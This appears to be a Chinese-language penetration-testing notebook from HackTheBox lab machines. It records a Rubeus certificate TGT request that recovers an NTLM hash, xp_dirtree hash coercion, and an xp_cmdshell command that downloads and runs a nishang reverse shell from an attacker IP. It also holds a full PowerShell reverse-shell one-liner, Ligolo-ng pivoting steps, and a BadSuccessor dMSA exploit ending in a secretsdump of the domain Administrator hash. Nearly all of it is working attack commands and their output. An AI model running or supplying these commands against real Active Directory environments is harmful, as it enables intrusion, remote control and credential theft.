ZrwPeH05asEZzjJfx/H1h+O56gW6asy+IcrYFbU2r5FhFmTitU0NFi1UKssiTNPFvsKzmOfscYiEwrG7cZ/CQxBhqgBgwdVeSflvMqrtMKqSoQKfVoCpX0k8sIRGZVqjxufyTsT6LBxYCuTtRNM1urzmea5uE0MtRODC/tXidiBaRGY/10zSRPBKRpXEN5U3Ek7GpfHRxtWzh3HBuk6OSN8qFW9kno3tOigdHvsKyeiGgYN5XaFf0nncgzunw7ckiGxq8aZ77MzpZInR2s8oT2PVNmmvpt1o9nvpk8aci44utBzsIOHLauz8KANx66zYOKHJ11ZZTXpI/Mq6RjBIJV5fke3I8WPNY8Ncjj2Prcw40jKzWka4eNbmnzCtSGHYRf80H9HCOEnD0olnU4VU3i8c06E1aKwTholNW/49/pUcJOIw69XQf2mODC3jArMxum43ymr8uihnTN2/U0z69Ssp4TsMekdc45pR/mnKTVgqny+YrZWCel725fTvMgermZagnxmeXu3t9G5cyMe/590JYTjovh1DZEDEq+YcUlhgT44y7twtF/O2vRSEptVh8a7HLsY2C2Q2tvpLN/j/VkPOBze/4B+u51kcazLT+FWDuDnowoH0hvmP6DdHETM2cR2l0ZSN5VHudNW1G4SmtUPFOaQmOD5O3rE61gnuyeRqZWYjWHzwdAZEy5U4OwV6mUk+5av1KoM1dSW/OGyNXYBE0j7Z2gZ2bDDrA1sR4i4VtV0svvvPmmtYvmYGumNURL2m/JTGB6TATBgkqhkiG9w0BCRUxBgQEAQAAADBXBgkqhkiG9w0BCRQxSh5IAGYAOABkADIAMAA4ADcAOAAtAGEAZQAwAGMALQA0ADYAOQAzAC0AYgA0AGIANQAtAGQAZAA1ADIAYQA2ADEAYgA5AGYAYgBlMHkGCSsGAQQBgjcRATFsHmoATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByMIIDPwYJKoZIhvcNAQcGoIIDMDCCAywCAQAwggMlBgkqhkiG9w0BBwEwHAYKKoZIhvcNAQwBAzAOBAhcmRGmy06HEwICB9CAggL4nPwaTFUMxIJl5y9DG/C1y4v+c17pAiyqsJX2qhbsa
./Rubeus.exe asktgt /user:sflowers /certificate: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 /password:"kaada" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show
./Rubeus.exe asktgt /user:sflowers /certificate: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 /password:"kaada" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.2.0

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=sflowers
[*] Building AS-REQ (w/ PKINIT preauth) for: 'outdated.htb\sflowers'
[*] Using domain controller: 172.16.20.1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

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

ServiceName : krbtgt/outdated.htb
ServiceRealm : OUTDATED.HTB
UserName : sflowers
UserRealm : OUTDATED.HTB
StartTime : 9/3/2026 2:48:32 PM
EndTime : 9/4/2026 12:48:32 AM
RenewTill : 9/10/2026 2:48:32 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : p2khw3sPqI5GwlP2gWunWg==
ASREP (key) : BB59F4DAFDCF9740681D7303F9D29F0B

[*] Getting credentials using U2U

CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : 1FCDB1F6015DCB318CC77BB2BDA14DB5(victim的哈希值)

xp_dirtree “\10.10.14.157\share”如果ntlmrelay失效

1
2
3
4
5
6
7
8
换这个
SQL (QUERIER\reporting reporting@volume)> EXEC xp_dirtree '\\10.10.14.157\share', 1, 1
subdirectory depth file
------------ ----- ----
SQL (QUERIER\reporting reporting@volume)> EXEC xp_dirtree '\\10.10.14.157\share'
subdirectory depth
------------ -----
这个也行

xp_cmdshell反弹shell(MDUT不适用,用nishang)

1
2
3
4
5
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 reverse.ps1

SQL (QUERIER\mssql-svc dbo@master)> EXEC master..xp_cmdshell 'powershell -Exec Bypass -c "IEX(New-Object Net.WebClient).DownloadString(''http://10.10.14.157/reverse.ps1''); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.157 -Port 4444"';

powershell反弹shell

1
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.157', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

ligolo代理访问内网

创建并启用 TUN 接口:

1
2
3
4
5
创建并启用 TUN 接口:
# 创建名为 ligolo 的 TUN 接口,并设置当前用户可操作
sudo ip tuntap add user $(whoami) mode tun ligolo
# 启用该接口
sudo ip link set ligolo up

启动 Ligolo-ng Proxy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿kaada)-[/opt/ligolo-ng/ligolo-ng_proxy_0.8.3_linux_amd64]
└─# ls
LICENSE ligolo-ng.history ligolo-ng.yaml ligolo-selfcerts proxy README.md

┌──(root㉿kaada)-[/opt/ligolo-ng/ligolo-ng_proxy_0.8.3_linux_amd64]
└─# ./proxy -selfcert

INFO[0000] Loading configuration file ligolo-ng.yaml
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
INFO[0000] Listening on 0.0.0.0:11601
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/

Made in France ♥ by @Nicocha30!
Version: 0.8.3

ligolo-ng »

默认监听 0.0.0.0:11601。-selfcert 表示使用自签名证书,测试环境下足够安全。

启动成功后,你会看到 ligolo-ng » 提示符,表示 Proxy 正在等待 Agent 连接。

第二步:上传并运行 Agent

  1. 上传 Agent 到目标主机:
    将 ligolo-ng_agent_0.8.3_windows_amd64 重命名为简洁的 agent.exe,然后通过你已有的文件上传方式(如 certutil、Invoke-WebRequest 等)传到目标机器上。
  2. 在目标主机上执行 Agent:
    假设你的 Kali 攻击机 IP 是 10.10.16.69(请用 ip a 确认你的 tun0 或 eth0 IP),在目标主机上执行:
1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\adam.scott\Documents> .\agent.exe -connect 10.10.14.157:11601 -ignore-cert
agent.exe : time="2026-09-16T02:58:38-07:00" level=warning msg="warning, certificate validation disabled"
+ CategoryInfo : NotSpecified: (time="2026-09-1...ation disabled":String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
time="2026-09-16T02:58:38-07:00" level=info msg="Connection established" addr="10.10.14.157:11601"

第三步:建立隧道与添加路由

回到 Kali 的 ligolo-ng » 提示符,执行以下命令:

  1. 查看并选择 Agent 会话:

    1
    ligolo-ng » session

    你会看到类似 [Agent : user@target] » 的提示符,表示已选中该会话。

  2. 查看目标主机的网络接口:

    1
    [Agent : user@target] » ifconfig

    在输出中,找到目标主机连接内网的网卡及其 IP 地址。例如,你可能会看到 IPv4 Address: 172.16.241.254/24,那么内网网段就是 172.16.241.0/24。记下这个网段。

  3. 添加路由(关键步骤):
    新开一个终端(不要关闭 Ligolo-ng 的交互界面),在 Kali 上添加指向内网的路由:

    1
    sudo ip route add 172.16.241.0/24 dev ligolo

    将 172.16.241.0/24 替换为你实际发现的内网网段。这条命令告诉 Kali,所有发往该网段的流量都通过 ligolo 接口走。

  4. 启动隧道:
    回到 Ligolo-ng 的交互界面,执行:

    bash

    1
    [Agent : user@target] » start

    看到 Tunnel started 之类的提示,隧道就正式建立了。

🎯 第四步:访问内网端口(直接连接)

路由和隧道建立后,所有内网操作都不再需要 proxychains。

你可以直接使用常规工具访问内网主机上的端口。例如,要扫描内网主机 172.16.241.100 的常用端口:

1
nmap -sS -Pn -p 445,3389,1433,5985 172.16.241.100

因为有了路由,Kali 会直接将流量通过 Ligolo 隧道发给 Agent,由 Agent 在内网发起真实连接。

如果你需要将内网某个端口映射到 Kali 本地(例如,内网数据库端口 1433 映射到本地 14330),可以在 Ligolo-ng 交互界面使用 listener_add:

bash

1
[Agent : user@target] » listener_add --addr 0.0.0.0:14330 --to 172.16.241.100:1433

之后,你就可以直接连接 Kali 的 127.0.0.1:14330,流量会被转发到内网主机的 1433 端口。

BadSuccessor

BadSuccessor 漏洞原理

BadSuccessor 攻击利用了 dMSA 中的“msDS-ManagedAccountPrecededByLink”属性。攻击者通过篡改该属性,模拟从高权限账户(如域管理员)到新创建的 dMSA 的“迁移”过程。此操作诱使密钥分发中心(KDC)向dMSA授予目标账户的完整权限,从而实现完全模拟攻击,且无需修改现有账户或组成员关系。

利用BadSuccessor漏洞的步骤

拥有最低权限的攻击者可按以下步骤实施攻击:

  • 创建dMSA:攻击者在拥有足够权限的 OU 内创建一个委托托管服务账户(使用 New-ADServiceAccount -DelegatedManagedServiceAccount 等命令)。
  • 修改关键属性:修改 dMSA 的 msDS-ManagedAccountPrecededByLink 属性,将其指向高权限账户(如域管理员账户的 DN)。
  • 以dMSA身份认证:系统将该 dMSA 视为高权限账户的合法继承者赋予其等效权限,最终实现域管理员权限的窃取。

先后台静默执行Ligolo-ng代理127.0.0.1

1
2
3
Start-Process -FilePath "C:\Users\adam.scott\Documents\agent.exe" `
-ArgumentList '-connect','10.10.14.157:11601','-ignore-cert' `
-WindowStyle Hidden

上传利用脚本

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\adam.scott\Documents> upload /opt/Pentest-Tools-Collection/tools/ActiveDirectory/BadSuccessor.ps1

Info: Uploading /opt/Pentest-Tools-Collection/tools/ActiveDirectory/BadSuccessor.ps1 to C:\Users\adam.scott\Documents\BadSuccessor.ps1

Data: 22292 bytes of 22292 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\adam.scott\Documents> . .\BadSuccessor.ps1
*Evil-WinRM* PS C:\Users\adam.scott\Documents>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
*Evil-WinRM* PS C:\Users\adam.scott\Documents> . .\BadSuccessor.ps1
BadSuccessor -Mode Exploit -Domain "eighteen.htb" -Path "OU=Staff,DC=eighteen,DC=htb" -Name "kaada$" -DelegatedAdmin "adam.scott" -DelegateTarget "Administrator"
Creating dMSA at: LDAP://eighteen.htb/OU=Staff,DC=eighteen,DC=htb
0
0
0
0
Exception calling "CommitChanges" with "0" argument(s): "A device attached to the system is not functioning.
"
At C:\Users\adam.scott\Documents\BadSuccessor.ps1:231 char:9
+ $newChild.CommitChanges()
+ ~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : DotNetMethodException
Successfully created and configured dMSA 'kaada$'
Object adam.scott can now impersonate Administrator


之后请求票据(记得同步系统时间)(换了chisel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# proxychains4 -q impacket-getST \
-impersonate 'kaada$' \
-dmsa -self \
-dc-ip 10.129.40.16 \
eighteen.htb/adam.scott:iloveyou1
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating kaada$
[*] Requesting S4U2self
[*] Current keys:
[*] EncryptionTypes.aes256_cts_hmac_sha1_96:70a2e70190ca72a553074c7f744ad1498456005a25cfbb07315e0f5fd48e9846
[*] EncryptionTypes.aes128_cts_hmac_sha1_96:d0d758f7c2e22d9bd37b98088b4a04c1
[*] EncryptionTypes.rc4_hmac:75aa98048ffa2f12b239a399e4b98e02
[*] Previous keys:
[*] EncryptionTypes.rc4_hmac:0b133be956bfaddf9cea56701affddec
[*] Saving ticket in kaada$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# export KRB5CCNAME='kaada$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache'

┌──(root㉿kaada)-[/home/kali/Desktop]
└─# proxychains4 -q impacket-secretsdump -k -no-pass dc01.eighteen.htb -just-dc-user Administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0b133be956bfaddf9cea56701affddec:::
[*] Kerberos keys grabbed
